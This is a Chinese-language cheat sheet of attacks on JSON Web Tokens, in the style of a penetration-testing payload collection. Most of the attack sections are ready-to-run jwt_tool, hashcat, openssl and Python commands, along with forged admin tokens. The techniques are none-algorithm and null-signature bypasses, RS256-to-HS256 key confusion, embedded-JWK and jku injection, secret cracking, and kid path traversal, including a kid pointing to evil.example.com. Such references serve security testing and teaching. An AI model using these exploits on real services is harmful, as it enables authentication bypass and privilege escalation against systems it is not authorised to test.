跳转至

JWT - JSON Web Token

JSON Web Token (JWT) 是一个开放标准 (RFC 7519),它定义了一种紧凑且自包含的方式,用于在各方之间以 JSON 对象的形式安全地传输信息。由于这些信息经过数字签名,因此可以被验证和信任。

摘要 (Summary)

工具 (Tools)

JWT 格式 (JWT Format)

JSON Web Token : Base64(Header).Base64(Data).Base64(Signature)

示例:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY

我们可以通过点号将其分为 3 个组件。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header (头部)
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload (负载)
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature (签名)

JSON Web Signature (JWS) RFC 中定义的注册头部参数名称。 最基础的 JWT 头部是以下 JSON。

{
    "typ": "JWT",
    "alg": "HS256"
}

RFC 中注册的其他参数。

参数 定义 描述
alg 算法 (Algorithm) 标识用于保护 JWS 的加密算法
jku JWK 集 URL (JWK Set URL) 引用一组 JSON 编码的公钥资源
jwk JSON Web 密钥 (JSON Web Key) 用于对 JWS 进行数字签名的公钥
kid 密钥 ID (Key ID) 用于保护 JWS 的密钥标识符
x5u X.509 URL X.509 公钥证书或证书链的 URL
x5c X.509 证书链 用于对 JWS 进行数字签名的 PEM 编码的 X.509 公钥证书或证书链
x5t X.509 证书 SHA-1 指纹 X.509 证书 DER 编码的 Base64 URL 编码 SHA-1 指纹(摘要)
x5t#S256 X.509 证书 SHA-256 指纹 X.509 证书 DER 编码的 Base64 URL 编码 SHA-256 指纹(摘要)
typ 类型 (Type) 媒体类型。通常为 JWT
cty 内容类型 (Content Type) 不推荐使用此头部参数
crit 关键 (Critical) 正在使用扩展和/或 JWA

默认算法是 "HS256"(HMAC SHA256 对称加密)。 "RS256" 用于非对称加密(RSA 非对称加密和私钥签名)。

alg 参数值 数字签名或 MAC 算法 要求
HS256 使用 SHA-256 的 HMAC 强制 (Required)
HS384 使用 SHA-384 的 HMAC 可选 (Optional)
HS512 使用 SHA-512 的 HMAC 可选 (Optional)
RS256 使用 SHA-256 的 RSASSA-PKCS1-v1_5 推荐 (Recommended)
RS384 使用 SHA-384 的 RSASSA-PKCS1-v1_5 可选 (Optional)
RS512 使用 SHA-512 的 RSASSA-PKCS1-v1_5 可选 (Optional)
ES256 使用 P-256 和 SHA-256 的 ECDSA 推荐 (Recommended)
ES384 使用 P-384 和 SHA-384 的 ECDSA 可选 (Optional)
ES512 使用 P-521 和 SHA-512 的 ECDSA 可选 (Optional)
PS256 使用 SHA-256 和带有 SHA-256 的 MGF1 的 RSASSA-PSS 可选 (Optional)
PS384 使用 SHA-384 和带有 SHA-384 的 MGF1 的 RSASSA-PSS 可选 (Optional)
PS512 使用 SHA-512 和带有 SHA-512 的 MGF1 的 RSASSA-PSS 可选 (Optional)
none 未执行数字签名或 MAC 强制 (Required)

使用 ticarpi/jwt_tool 注入头部:python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2

负载 (Payload)

{
    "sub":"1234567890",
    "name":"Amazing Haxx0r",
    "exp":"1466270722",
    "admin":true
}

声明 (Claims) 是预定义的键及其对应的值:

  • iss: 令牌发行者 (issuer)
  • exp: 过期时间戳(拒绝过期的令牌)。注意:按照规范定义,这必须以秒为单位。
  • iat: JWT 发行的时间。可用于确定 JWT 的存续时间
  • nbf: "不早于 (not before)" 是令牌生效的未来时间。
  • jti: JWT 的唯一标识符。用于防止 JWT 被重复使用或重放攻击。
  • sub: 令牌的主体 (subject)(很少使用)
  • aud: 令牌的受众 (audience)(也很少使用)

使用 ticarpi/jwt_tool 注入负载声明:python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3

JWT 签名 (JWT Signature)

JWT 签名 - 空签名攻击 (CVE-2020-28042)

发送一个使用 HS256 算法但没有签名的 JWT,例如 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.

漏洞利用:

python3 jwt_tool.py JWT_HERE -X n

解构:

{"alg":"HS256","typ":"JWT"}.
{"sub":"1234567890","name":"John Doe","iat":1516239022}

JWT 签名 - 正确签名的披露 (CVE-2019-7644)

发送一个带有错误签名的 JWT,端点可能会返回包含正确签名的错误。

Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=

JWT 签名 - None 算法 (CVE-2015-9235)

JWT 支持签名使用 None 算法。这可能是为了调试应用程序而引入的。然而,这可能会对应用程序的安全性产生严重影响。

None 算法变体:

  • none
  • None
  • NONE
  • nOnE

要利用此漏洞,您只需解码 JWT 并更改用于签名的算法。然后您可以提交新的 JWT。但是,除非您删除签名,否则这可能无法奏效。

或者,您可以修改现有的 JWT(注意过期时间)

  • 使用 ticarpi/jwt_tool

    python3 jwt_tool.py [JWT_HERE] -X a
    
  • 手动编辑 JWT

    import jwt
    
    jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
    decodedToken = jwt.decode(jwtToken, verify=False)       
    
    # 在使用类型 'None' 编码前解码令牌
    noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
    
    print(noneEncoded.decode())
    

JWT 签名 - 密钥混淆攻击 RS256 后台转换为 HS256 (CVE-2016-5431)

如果服务器代码预期一个 "alg" 设置为 RSA 的令牌,但收到了一个 "alg" 设置为 HMAC 的令牌,它在验证签名时可能会无意中将公钥作为 HMAC 对称密钥。

由于攻击者有时可以获得公钥,因此攻击者可以将头部的算法修改为 HS256,然后使用 RSA 公钥对数据进行签名。当应用程序使用与其 TLS Web 服务器相同的 RSA 密钥对时:openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

HS256 算法使用密钥对每条消息进行签名和验证。 RS256 算法使用私钥签署消息,并使用公钥进行身份验证。

import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

⚠ 此行为已在 Python 库中修复,并会返回此错误 jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.。您需要安装以下版本:pip install pyjwt==0.4.3

  • 使用 ticarpi/jwt_tool

    python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
    
  • 使用 portswigger/JWT Editor

    1. 找到公钥,通常在 /jwks.json/.well-known/jwks.json
    2. 将其加载到 JWT Editor Keys 选项卡中,点击 New RSA Key
    3. 在对话框中,粘贴您之前获得的 JWK:{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}
    4. 选择 PEM 单选按钮并复制生成的 PEM 密钥。
    5. 转到 Decoder 选项卡并将 PEM 进行 Base64 编码。
    6. 返回 JWT Editor Keys 选项卡,生成一个 JWK 格式的 New Symmetric Key
    7. 将 k 参数生成的替换为您刚才复制的 Base64 编码的 PEM 密钥。
    8. 将 JWT 令牌的 alg 修改为 HS256 并修改数据。
    9. 点击 Sign 并保持该选项:Don't modify header (不修改头部)
  • 手动按照以下步骤将 RS256 JWT 令牌修改为 HS256

    1. 使用此命令将我们的公钥 (key.pem) 转换为 HEX。

      $ cat key.pem | xxd -p | tr -d "\\n"
      2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
      
    2. 通过提供 ASCII hex 格式的公钥和我们之前编辑过的令牌来生成 HMAC 签名。

      $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
      
      (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
      
    3. 转换签名(Hex 到 "base64 URL")

      python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
      
    4. 在编辑后的负载中添加签名

      [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
      eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
      

JWT 签名 - 密钥注入攻击 (CVE-2018-0114)

在 0.11.0 之前的 Cisco node-jose 开源库版本中发现了一个漏洞,允许未经身份验证的远程攻击者使用嵌入在令牌内的密钥重新签名令牌。该漏洞源于 node-jose 遵循 JSON Web Tokens (JWT) 的 JSON Web 签名 (JWS) 标准。该标准规定,代表公钥的 JSON Web 密钥 (JWK) 可以嵌入 JWS 的头部中。此公钥随后被信任用于验证。攻击者可以通过删除原始签名、在头部添加新的公钥,然后使用与该 JWS 头部嵌入公钥相关联的(攻击者拥有的)私钥对对象进行签名,从而伪造有效的 JWS 对象。

漏洞利用:

  • 使用 ticarpi/jwt_tool

    python3 jwt_tool.py [JWT_HERE] -X i
    
  • 使用 portswigger/JWT Editor

    1. 添加一个 New RSA key
    2. 在 JWT 的 Repeater 选项卡中,编辑数据
    3. Attack (攻击) > Embedded JWK (嵌入式 JWK)

解构:

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "kid": "jwt_tool",
    "use": "sig",
    "e": "AQAB",
    "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
  }
}.
{"login":"admin"}.
[已使用新的私钥签名;并注入了公钥]

JWT 签名 - 从已签名的 JWT 中恢复公钥

RS256、RS384 和 RS512 算法使用 RSA 结合 PKCS#1 v1.5 填充作为签名方案。这具有一种属性,即如果您有两个不同的消息及随附的签名,就可以计算出公钥。

SecuraBV/jws2pubkey:从两个已签名的 JWT 中计算 RSA 公钥

$ docker run -it ttervoort/jws2pubkey JWS1 JWS2
$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
Computing public key. This may take a minute...
{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}

JWT 密钥 (JWT Secret)

为了创建 JWT,需要使用一个密钥来签署头部和负载,从而生成签名。必须保证密钥的安全和私密性,以防止未经授权访问 JWT 或篡改其内容。如果攻击者能够获得密钥,他们就可以创建、修改或签名自己的令牌,绕过预定的安全控制。

使用密钥编码和解码 JWT

  • 使用 ticarpi/jwt_tool

    jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
    jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
    
    Token header values:
    [+] alg = "HS256"
    [+] typ = "JWT"
    
    Token payload values:
    [+] name = "John Doe"
    
  • 使用 pyjwtpip install pyjwt

    import jwt
    encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
    jwt.decode(encoded, 'secret', algorithms=['HS256']) 
    

破解 JWT 密钥

包含 3502 个公开可用 JWT 密钥的实用列表:wallarm/jwt-secrets/jwt.secrets.list,其中包括 your_jwt_secret, change_this_super_secret_random_string 等。

JWT tool

首先,使用 ticarpi/jwt_tool 暴力破解用于计算签名的“密钥”。

python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C

然后编辑 JSON Web Token 内部的字段。

Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step

Please select a field number (or 0 to Continue):
> 0

最后,使用之前找回的“密钥”对其进行签名以完成令牌生成。

Token Signing:
[1] 使用已知密钥签署令牌
[2] 从易受 CVE-2015-2951 攻击的令牌中去除签名
[3] 公钥绕过漏洞签名
[4] 使用密钥文件签署令牌

Please select an option from above (1-4):
> 1

Please enter the known key:
> secret

Please enter the key length:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
  • 侦察:python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
  • 扫描:python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
  • 利用:python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
  • 模糊测试:python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
  • 复核:python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin

Hashcat

已增加在单块 GTX1080 上以 365MH/s 速度破解 JWT (JSON Web Token) 的支持 - 来源

  • 字典攻击:hashcat -a 0 -m 16500 jwt.txt wordlist.txt
  • 基于规则的攻击:hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
  • 暴力破解攻击:hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6

JWT 声明 (JWT Claims)

IANA 的 JSON Web Token 声明库

JWT kid 声明滥用

JSON Web Token (JWT) 中的 "kid" (key ID,密钥 ID) 声明是一个可选的头部参数,用于指明对 JWT 进行签名或加密时所使用的加密密钥标识符。需要注意的是,密钥标识符本身并不提供任何安全增益,而是为了让接收方能够定位验证 JWT 完整性所需的密钥。

  • 示例 #1 : 本地文件

    {
    "alg": "HS256",
    "typ": "JWT",
    "kid": "/root/res/keys/secret.key"
    }
    
  • 示例 #2 : 远程文件

    {
        "alg":"RS256",
        "typ":"JWT",
        "kid":"http://localhost:7070/privKey.key"
    }
    

在 kid 头部指定的文件内容将被用于生成签名。

// HS256 示例
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  来自 your-256-bit-secret-from-secret.key 的密钥
)

滥用 kid 头部的常见方式:

  • 获取密钥内容以修改负载
  • 更改密钥路径以强制使用自己的密钥

    >>> jwt.encode(
    ...     {"some": "payload"},
    ...     "secret",
    ...     algorithm="HS256",
    ...     headers={"kid": "http://evil.example.com/custom.key"},
    ... )
    
  • 将密钥路径更改为具有可预测内容的文件。

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
  • 修改 kid 头部以尝试 SQL 注入和命令注入

JWKS - jku 头部注入

"jku" 头部值指向 JWKS 文件的 URL。通过将 "jku" URL 替换为包含公钥的攻击者控制的 URL,攻击者可以使用成对的私钥对令牌进行签名,并让服务检索恶意的公钥来验证令牌。

它有时会通过标准端点公开:

您应该为此攻击创建自己的密钥对并进行托管。它应该看起来像这样:

{
    "keys": [
        {
            "kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
            "kty": "RSA",
            "e": "AQAB",
            "n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
        }
    ]
}

漏洞利用:

  • 使用 ticarpi/jwt_tool

    python3 jwt_tool.py JWT_HERE -X s
    python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
    
  • 使用 portswigger/JWT Editor

    1. 生成一个新的 RSA 密钥并进行托管
    2. 编辑 JWT 数据
    3. kid 头部替换为您 JWKS 中的那个
    4. 添加一个 jku 头部并签署 JWT(应勾选 Don't modify header 选项)

解构:

{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
{"login":"admin"}.
[已使用新的私钥签名;且已导出公钥]

实验环境 (Labs)

参考资料 (References)